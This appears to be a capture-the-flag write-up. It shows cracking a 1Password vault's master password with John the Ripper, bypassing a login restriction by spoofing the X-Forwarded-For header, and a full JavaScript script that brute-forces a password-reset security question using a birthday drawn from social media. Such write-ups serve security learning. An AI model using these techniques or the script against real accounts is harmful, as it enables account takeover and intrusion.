IAmBrute
By Narcissus
We downloaded and extracted Marina.vault.zip
and got a folder called Marina.vault.opvault
. It contained another folder default
that had two files in it band_2.js
and profile.js
.
The folder was a password vault format used by a product called 1password.
Using 1pass2john
we got the hash of the vault: 1password2john.py Marina.vault.opvault > hash
, and then using john the ripper we cracked the master key: john hash
followed by john hash --show
which printed ?:Marina
.
We installed 1password and loaded the vault into it and it requested out master password:
So we put Marina
from john's output and we got the saved login details:
Going to the site in the notes we are faced with a login screen. We put the username and password that were saved in 1password and got the following error:
We added the header x-forwarded-for: 192.168.20.1
and sent a new request. Again we were redirected to the login page but this time there was a cookie in the response.
session:
httpOnly: true
path: /
value: eyJ1c2VyX2lkIjoiMiJ9.Dfb96g.6DzT1iCHG3k7kQUTdY5VUDlrG9w
We saved the cookie and navigated to the index page. We were redirected to the tickets page:
Inside the tickets we find Marina's and George's (the head of IT) Facebook pages:
This may be useful later. For now we need to find a way into George's account. Let's log out and see what the Forgot My Password
link does:
Ok so we have George's username: george
. now we need his birthday and one of three security question answers. Let's check his Facebook page.
In the About
section we see he was born in 1991, and that he liked the page FRIENDS (TV Show). We can now brute-force the day and month of his birthday.
class FileDownloader{
constructor(url, pool_size) {
this.url = url;
this.pool_size = pool_size;
}
createQueue(){
const arr = [];
for (let i=1;i<32;i++)
for (let j=1;j<13;j++)
arr.push(i.toString().padStart(2, "0")+"/"+j.toString().padStart(2, "0")+"/1991");
return Promise.resolve(arr);
}
send_request(elem){
return fetch(this.url, {
method: "POST",
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: "__CSRFToken__="+document.querySelector("[name=csrf_token]").getAttribute("content")+"&birthday="+elem+"&do=sendmail&question_answer=Friends&question_id=2&username=george"
}).then(res => res.text())
}
next(){
const index = this.queue.shift();
if (index == undefined)
return {index:-1};
return index;
}
download_part(elem, count = 3){
if (count == 0){
console.error("Couldn't download part "+elem.index);
}
if (elem.index == -1)
return;
this.send_request(elem)
.then(response => {
if (response.includes("Incorrect answer!")){
console.log("failed");
} else {
console.log("Password: "+elem);
}
this.download_part(this.next());
this.remaining--;
}).catch(err => {
this.download_part(elem, count-1);
});
}
async start(){
this.queue = await this.createQueue()
this.remaining = this.queue.length;
this.parts = Array(this.queue.length);
this.stop = false;
for (let i=0; i< Math.min(this.queue.length,this.pool_size); i++){
this.download_part(this.next());
}
}
}
new FileDownloader("/pwreset.php", 1000).start()
BF code thanks to naweiss.
Great, now to login again with this users credentials using the same trick as before:
And now to see the contents of the ticket: